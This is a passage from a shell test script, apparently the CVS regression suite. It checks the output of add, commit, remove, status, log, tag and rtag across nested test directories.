basicc-12a \"${testcvs} -Q up\" \"\"\n\t dotest basicc-12b \"cat CVS/Entries\" \\\n\"D/CVSROOT////\nD/first-dir////\nD/second-dir////\"\n\t dotest basicc-13 \"echo *\" \"CVS CVSROOT first-dir second-dir\"\n\t dotest basicc-14 \"${testcvs} -Q release first-dir second-dir\" \"\"\n\t # a normal release shouldn't affect the Entries file\n\t dotest basicc-14b \"cat CVS/Entries\" \\\n\"D/CVSROOT////\nD/first-dir////\nD/second-dir////\"\n\t # FIXCVS: but release -d probably should\n\t dotest basicc-15 \"${testcvs} -Q release -d first-dir second-dir\" \"\"\n\t dotest basicc-16 \"echo *\" \"CVS CVSROOT\"\n\t dotest basicc-17 \"cat CVS/Entries\" \\\n\"D/CVSROOT////\nD/first-dir////\nD/second-dir////\"\n\t # FIXCVS: if not, update should notice the missing directories\n\t # and update Entries accordingly\n\t dotest basicc-18 \"${testcvs} -Q up\" \"\"\n\t dotest basicc-19 \"cat CVS/Entries\" \\\n\"D/CVSROOT////\nD/first-dir////\nD/second-dir////\"\n\n\t cd ..\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tbasic1)\n\t # first dive - add a files, first singly, then in a group.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir basic1; cd basic1\n\t # check out an empty directory\n\t dotest basic1-1 \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\t echo file2 >file2\n\t echo file3 >file3\n\t echo file4 >file4\n\t echo file5 >file5\n\n\t dotest basic1-14-add-add \"${testcvs} add file2 file3 file4 file5\" \\\n\"${PROG} add: scheduling file \\`file2' for addition\n${PROG} add: scheduling file \\`file3' for addition\n${PROG} add: scheduling file \\`file4' for addition\n${PROG} add: scheduling file \\`file5' for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest basic1-15-add-add \\\n\"${testcvs} -q update file2 file3 file4 file5\" \\\n\"A file2\nA file3\nA file4\nA file5\"\n\t dotest basic1-16-add-add \"${testcvs} -q update\" \\\n\"A file2\nA file3\nA file4\nA file5\"\n\t dotest basic1-17-add-add \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file2 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file4 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file5 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest basic1-18-add-add \"${testcvs} -q log\" \\\n\"${PROG} log: file2 has been added, but not committed\n${PROG} log: file3 has been added, but not committed\n${PROG} log: file4 has been added, but not committed\n${PROG} log: file5 has been added, but not committed\"\n\t cd ..\n\t dotest basic1-21-add-add \"${testcvs} -q update\" \\\n\"A first-dir/file2\nA first-dir/file3\nA first-dir/file4\nA first-dir/file5\"\n\t # FIXCVS? Shouldn't this read first-dir/file2 instead of file2?\n\t dotest basic1-22-add-add \"${testcvs} log first-dir\" \\\n\"${PROG} log: Logging first-dir\n${PROG} log: file2 has been added, but not committed\n${PROG} log: file3 has been added, but not committed\n${PROG} log: file4 has been added, but not committed\n${PROG} log: file5 has been added, but not committed\"\n\t dotest basic1-23-add-add \"${testcvs} status first-dir\" \\\n\"${PROG} status: Examining first-dir\n===================================================================\nFile: file2 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file4 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file5 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest basic1-24-add-add \"${testcvs} update first-dir\" \\\n\"${PROG} update: Updating first-dir\nA first-dir/file2\nA first-dir/file3\nA first-dir/file4\nA first-dir/file5\"\n\t dotest basic1-27-add-add \"${testcvs} co first-dir\" \\\n\"${PROG} checkout: Updating first-dir\nA first-dir/file2\nA first-dir/file3\nA first-dir/file4\nA first-dir/file5\"\n\t cd first-dir\n\t dotest basic1-14-add-ci \\\n\"${testcvs} commit -m test file2 file3 file4 file5\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file5,v\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\ninitial revision: 1\\.1\ndone\"\n\t dotest basic1-15-add-ci \\\n\"${testcvs} -q update file2 file3 file4 file5\" ''\n\t dotest basic1-16-add-ci \"${testcvs} -q update\" ''\n\t dotest basic1-17-add-ci \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file2 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file3 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file3,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file4 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file4,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file5 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file5,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t # The \"log\" tests and friends probably already test the output \n\t # from log quite adequately.\n\t # Note: using dotest fails here. It seems to be related\n\t # to the output being sufficiently large (Red Hat 4.1).\n\t # dotest basic1-18-add-ci \"${testcvs} log\" \"${DOTSTAR}\"\n\t if ${testcvs} -q log >>${LOGFILE}; then\n\t pass basic1-18-add-ci\n\t else\n\t pass basic1-18-add-ci\n\t fi\n\t cd ..\n\t dotest basic1-21-add-ci \"${testcvs} -q update\" ''\n\t # See test basic1-18-add-ci for explanation of non-use of dotest.\n\t if ${testcvs} -q log first-dir >>${LOGFILE}; then\n\t pass basic1-22-add-ci\n\t else\n\t pass basic1-22-add-ci\n\t fi\n\t # At least for the moment I am going to consider 17-add-ci\n\t # an adequate test of the output here.\n\t # See test basic1-18-add-ci for explanation of non-use of dotest.\n\t if ${testcvs} -q status first-dir >>${LOGFILE}; then\n\t pass basic1-23-add-ci\n\t else\n\t pass basic1-23-add-ci\n\t fi\n\t dotest basic1-24-add-ci \"${testcvs} -q update first-dir\" ''\n\t dotest basic1-27-add-ci \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\t rm file2 file3 file4 file5\n\t dotest basic1-14-rm-rm \"${testcvs} rm file2 file3 file4 file5\" \\\n\"${PROG} remove: scheduling .file2. for removal\n${PROG} remove: scheduling .file3. for removal\n${PROG} remove: scheduling .file4. for removal\n${PROG} remove: scheduling .file5. for removal\n${PROG} remove: use .${PROG} commit. to remove these files permanently\"\n\t # 15-rm-rm was commented out. Why?\n\t dotest basic1-15-rm-rm \\\n\"${testcvs} -q update file2 file3 file4 file5\" \\\n\"R file2\nR file3\nR file4\nR file5\"\n\t dotest basic1-16-rm-rm \"${testcvs} -q update\" \\\n\"R file2\nR file3\nR file4\nR file5\"\n\t dotest basic1-17-rm-rm \"${testcvs} -q status\" \\\n\"===================================================================\nFile: no file file2\t\tStatus: Locally Removed\n\n Working revision:\t-1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: no file file3\t\tStatus: Locally Removed\n\n Working revision:\t-1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file3,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: no file file4\t\tStatus: Locally Removed\n\n Working revision:\t-1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file4,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: no file file5\t\tStatus: Locally Removed\n\n Working revision:\t-1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file5,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t # Would be nice to test that real logs appear (with dead state\n\t # and all), either here or someplace like log2 tests.\n\t if ${testcvs} -q log >>${LOGFILE}; then\n\t pass basic1-18-rm-rm\n\t else\n\t fail basic1-18-rm-rm\n\t fi\n\t cd ..\n\t dotest basic1-21-rm-rm \"${testcvs} -q update\" \\\n\"R first-dir/file2\nR first-dir/file3\nR first-dir/file4\nR first-dir/file5\"\n\t if ${testcvs} -q log first-dir >>${LOGFILE}; then\n\t pass basic1-22-rm-rm\n\t else\n\t fail basic1-22-rm-rm\n\t fi\n\t if ${testcvs} -q status first-dir >>${LOGFILE}; then\n\t pass basic1-23-rm-rm\n\t else\n\t fail basic1-23-rm-rm\n\t fi\n\t dotest basic1-24-rm-rm \"${testcvs} -q update first-dir\" \\\n\"R first-dir/file2\nR first-dir/file3\nR first-dir/file4\nR first-dir/file5\"\n\t dotest basic1-27-rm-rm \"${testcvs} -q co first-dir\" \\\n\"R first-dir/file2\nR first-dir/file3\nR first-dir/file4\nR first-dir/file5\"\n\t cd first-dir\n\t dotest basic1-14-rm-ci \"${testcvs} -q commit -m test\" \\\n\"Removing file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving file5;\n${CVSROOT_DIRNAME}/first-dir/file5,v <-- file5\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t dotest basic1-15-rm-ci \\\n\"${testcvs} -q update file2 file3 file4 file5\" ''\n\t dotest basic1-16-rm-ci \"${testcvs} -q update\" ''\n\t dotest basic1-17-rm-ci \"${testcvs} -q status\" ''\n\t # Would be nice to test that real logs appear (with dead state\n\t # and all), either here or someplace like log2 tests.\n\t if ${testcvs} -q log >>${LOGFILE}; then\n\t pass basic1-18-rm-ci\n\t else\n\t fail basic1-18-rm-ci\n\t fi\n\t cd ..\n\t dotest basic1-21-rm-ci \"${testcvs} -q update\" ''\n\t if ${testcvs} -q log first-dir >>${LOGFILE}; then\n\t pass basic1-22-rm-ci\n\t else\n\t fail basic1-22-rm-ci\n\t fi\n\t if ${testcvs} -q status first-dir >>${LOGFILE}; then\n\t pass basic1-23-rm-ci\n\t else\n\t fail basic1-23-rm-ci\n\t fi\n\t dotest basic1-24-rm-ci \"${testcvs} -q update first-dir\" ''\n\t dotest basic1-27-rm-ci \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t # All the files are removed, so nothing gets tagged.\n\t dotest basic1-28 \"${testcvs} -q tag first-dive\" ''\n\t cd ..\n\t cd ..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -r basic1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tdeep)\n\t # Test the ability to operate on directories nested rather deeply.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest deep-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t for i in dir1 dir2 dir3 dir4 dir5 dir6 dir7 dir8; do\n\t mkdir $i\n\t dotest deep-2-$i \"${testcvs} add $i\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir1[/dir0-9]* added to the repository\"\n\t cd $i\n\t echo file1 >file1\n\t dotest deep-3-$i \"${testcvs} add file1\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t done\n\t cd ../../../../../../../../..\n\t dotest_lit deep-4 \"${testcvs} -q ci -m add-them first-dir\" <>${LOGFILE}; then\n\t pass deep-5\n\t else\n\t fail deep-5\n\t fi\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tbasic2)\n\t\t# Test rtag, import, history, various miscellaneous operations\n\n\t\t# NOTE: this section has reached the size and\n\t\t# complexity where it is getting to be a good idea to\n\t\t# add new tests to a new section rather than\n\t\t# continuing to piggyback them onto the tests here.\n\n\t\t# First empty the history file\n\t\trm ${CVSROOT_DIRNAME}/CVSROOT/history\n\t\ttouch ${CVSROOT_DIRNAME}/CVSROOT/history\n\n### XXX maybe should use 'cvs imprt -b1 -m new-module first-dir F F1' in an\n### empty directory to do this instead of hacking directly into $CVSROOT\n\t\tmkdir ${CVSROOT_DIRNAME}/first-dir\n\t\tdotest basic2-1 \"${testcvs} -q co first-dir\" ''\n\t\tfor i in first-dir dir1 dir2 ; do\n\t\t\tif test ! -d $i ; then\n\t\t\t\tmkdir $i\n\t\t\t\tdotest basic2-2-$i \"${testcvs} add $i\" \\\n\"Directory ${CVSROOT_DIRNAME}/.*/$i added to the repository\"\n\t\t\tfi\n\n\t\t\tcd $i\n\n\t\t\tfor j in file6 file7; do\n\t\t\t\techo $j > $j\n\t\t\tdone\n\n\t\t\tdotest basic2-3-$i \"${testcvs} add file6 file7\" \\\n\"${PROG} add: scheduling file .file6. for addition\n${PROG} add: scheduling file .file7. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\n\t\tdone\n\t\tcd ../../..\n\t\tdotest basic2-4 \"${testcvs} update first-dir\" \\\n\"${PROG} update: Updating first-dir\nA first-dir/file6\nA first-dir/file7\n${PROG} update: Updating first-dir/dir1\nA first-dir/dir1/file6\nA first-dir/dir1/file7\n${PROG} update: Updating first-dir/dir1/dir2\nA first-dir/dir1/dir2/file6\nA first-dir/dir1/dir2/file7\"\n\n\t\t# fixme: doesn't work right for added files.\n\t\tdotest basic2-5 \"${testcvs} log first-dir\" \\\n\"${PROG} log: Logging first-dir\n${PROG} log: file6 has been added, but not committed\n${PROG} log: file7 has been added, but not committed\n${PROG} log: Logging first-dir/dir1\n${PROG} log: file6 has been added, but not committed\n${PROG} log: file7 has been added, but not committed\n${PROG} log: Logging first-dir/dir1/dir2\n${PROG} log: file6 has been added, but not committed\n${PROG} log: file7 has been added, but not committed\"\n\n\t\tdotest basic2-6 \"${testcvs} status first-dir\" \\\n\"${PROG} status: Examining first-dir\n===================================================================\nFile: file6 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file7 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n${PROG} status: Examining first-dir/dir1\n===================================================================\nFile: file6 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file7 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n${PROG} status: Examining first-dir/dir1/dir2\n===================================================================\nFile: file6 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file7 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n# XXX why is this commented out???\n#\t\tif ${CVS} diff -u first-dir >> ${LOGFILE} || test $? = 1 ; then\n#\t\t pass 34\n#\t\telse\n#\t\t fail 34\n#\t\tfi\n\n\t\tdotest basic2-8 \"${testcvs} -q ci -m 'second dive' first-dir\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file6,v\ndone\nChecking in first-dir/file6;\n${CVSROOT_DIRNAME}/first-dir/file6,v <-- file6\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file7,v\ndone\nChecking in first-dir/file7;\n${CVSROOT_DIRNAME}/first-dir/file7,v <-- file7\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/file6,v\ndone\nChecking in first-dir/dir1/file6;\n${CVSROOT_DIRNAME}/first-dir/dir1/file6,v <-- file6\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/file7,v\ndone\nChecking in first-dir/dir1/file7;\n${CVSROOT_DIRNAME}/first-dir/dir1/file7,v <-- file7\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file6,v\ndone\nChecking in first-dir/dir1/dir2/file6;\n${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file6,v <-- file6\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file7,v\ndone\nChecking in first-dir/dir1/dir2/file7;\n${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file7,v <-- file7\ninitial revision: 1\\.1\ndone\"\n\n\t\tdotest basic2-9 \"${testcvs} tag second-dive first-dir\" \\\n\"${PROG} tag: Tagging first-dir\nT first-dir/file6\nT first-dir/file7\n${PROG} tag: Tagging first-dir/dir1\nT first-dir/dir1/file6\nT first-dir/dir1/file7\n${PROG} tag: Tagging first-dir/dir1/dir2\nT first-dir/dir1/dir2/file6\nT first-dir/dir1/dir2/file7\"\n\n\t\t# third dive - in bunch o' directories, add bunch o' files,\n\t\t# delete some, change some.\n\n\t\tfor i in first-dir dir1 dir2 ; do\n\t\t\tcd $i\n\n\t\t\t# modify a file\n\t\t\techo file6 >>file6\n\n\t\t\t# delete a file\n\t\t\trm file7\n\n\t\t\tdotest basic2-10-$i \"${testcvs} rm file7\" \\\n\"${PROG} remove: scheduling .file7. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\n\t\t\t# and add a new file\n\t\t\techo file14 >file14\n\n\t\t\tdotest basic2-11-$i \"${testcvs} add file14\" \\\n\"${PROG} add: scheduling file .file14. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t\tdone\n\n\t\tcd ../../..\n\t\tdotest basic2-12 \"${testcvs} update first-dir\" \\\n\"${PROG} update: Updating first-dir\nA first-dir/file14\nM first-dir/file6\nR first-dir/file7\n${PROG} update: Updating first-dir/dir1\nA first-dir/dir1/file14\nM first-dir/dir1/file6\nR first-dir/dir1/file7\n${PROG} update: Updating first-dir/dir1/dir2\nA first-dir/dir1/dir2/file14\nM first-dir/dir1/dir2/file6\nR first-dir/dir1/dir2/file7\"\n\n\t\t# FIXME: doesn't work right for added files\n\t\tdotest basic2-13 \"${testcvs} log first-dir\" \\\n\"${PROG} log: Logging first-dir\n${PROG} log: file14 has been added, but not committed\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file6,v\nWorking file: first-dir/file6\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tsecond-dive: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nsecond dive\n=============================================================================\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file7,v\nWorking file: first-dir/file7\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tsecond-dive: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nsecond dive\n=============================================================================\n${PROG} log: Logging first-dir/dir1\n${PROG} log: file14 has been added, but not committed\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/file6,v\nWorking file: first-dir/dir1/file6\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tsecond-dive: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nsecond dive\n=============================================================================\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/file7,v\nWorking file: first-dir/dir1/file7\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tsecond-dive: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nsecond dive\n=============================================================================\n${PROG} log: Logging first-dir/dir1/dir2\n${PROG} log: file14 has been added, but not committed\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file6,v\nWorking file: first-dir/dir1/dir2/file6\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tsecond-dive: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nsecond dive\n=============================================================================\n\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file7,v\nWorking file: first-dir/dir1/dir2/file7\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tsecond-dive: 1\\.1\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nsecond dive\n=============================================================================\"\n\n\t\tdotest basic2-14 \"${testcvs} status first-dir\" \\\n\"${PROG} status: Examining first-dir\n===================================================================\nFile: file14 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file6 \tStatus: Locally Modified\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file6,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: no file file7\t\tStatus: Locally Removed\n\n Working revision:\t-1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file7,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n${PROG} status: Examining first-dir/dir1\n===================================================================\nFile: file14 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file6 \tStatus: Locally Modified\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/dir1/file6,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: no file file7\t\tStatus: Locally Removed\n\n Working revision:\t-1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/dir1/file7,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n${PROG} status: Examining first-dir/dir1/dir2\n===================================================================\nFile: file14 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file6 \tStatus: Locally Modified\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file6,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: no file file7\t\tStatus: Locally Removed\n\n Working revision:\t-1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file7,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n# XXX why is this commented out?\n#\t\tif ${CVS} diff -u first-dir >> ${LOGFILE} || test $? = 1 ; then\n#\t\t pass 42\n#\t\telse\n#\t\t fail 42\n#\t\tfi\n\n\t\tdotest basic2-16 \"${testcvs} ci -m 'third dive' first-dir\" \\\n\"${PROG} [a-z]*: Examining first-dir\n${PROG} [a-z]*: Examining first-dir/dir1\n${PROG} [a-z]*: Examining first-dir/dir1/dir2\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file14,v\ndone\nChecking in first-dir/file14;\n${CVSROOT_DIRNAME}/first-dir/file14,v <-- file14\ninitial revision: 1\\.1\ndone\nChecking in first-dir/file6;\n${CVSROOT_DIRNAME}/first-dir/file6,v <-- file6\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nRemoving first-dir/file7;\n${CVSROOT_DIRNAME}/first-dir/file7,v <-- file7\nnew revision: delete; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/file14,v\ndone\nChecking in first-dir/dir1/file14;\n${CVSROOT_DIRNAME}/first-dir/dir1/file14,v <-- file14\ninitial revision: 1\\.1\ndone\nChecking in first-dir/dir1/file6;\n${CVSROOT_DIRNAME}/first-dir/dir1/file6,v <-- file6\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nRemoving first-dir/dir1/file7;\n${CVSROOT_DIRNAME}/first-dir/dir1/file7,v <-- file7\nnew revision: delete; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file14,v\ndone\nChecking in first-dir/dir1/dir2/file14;\n${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file14,v <-- file14\ninitial revision: 1\\.1\ndone\nChecking in first-dir/dir1/dir2/file6;\n${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file6,v <-- file6\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nRemoving first-dir/dir1/dir2/file7;\n${CVSROOT_DIRNAME}/first-dir/dir1/dir2/file7,v <-- file7\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t\tdotest basic2-17 \"${testcvs} -q update first-dir\" ''\n\n\t\tdotest basic2-18 \"${testcvs} tag third-dive first-dir\" \\\n\"${PROG} tag: Tagging first-dir\nT first-dir/file14\nT first-dir/file6\n${PROG} tag: Tagging first-dir/dir1\nT first-dir/dir1/file14\nT first-dir/dir1/file6\n${PROG} tag: Tagging first-dir/dir1/dir2\nT first-dir/dir1/dir2/file14\nT first-dir/dir1/dir2/file6\"\n\n\t\tdotest basic2-19 \"echo yes | ${testcvs} release -d first-dir\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .first-dir.: \"\n\n\t\t# end of third dive\n\t\tdotest_fail basic2-20 \"test -d first-dir\" \"\"\n\n\t\t# now try some rtags\n\n\t\t# rtag HEADS\n\t\tdotest basic2-21 \"${testcvs} rtag rtagged-by-head first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\n${PROG} rtag: Tagging first-dir/dir1\n${PROG} rtag: Tagging first-dir/dir1/dir2\"\n\t\t# The next test used to cause an assert failure\n\t\t# something like:\n\t\t# cvs: ./recurse.c:667: do_recursion: Assertion `repository != ((void *)0)' failed.\n\t\tdotest basic2-21b \"${testcvs} co -p -r 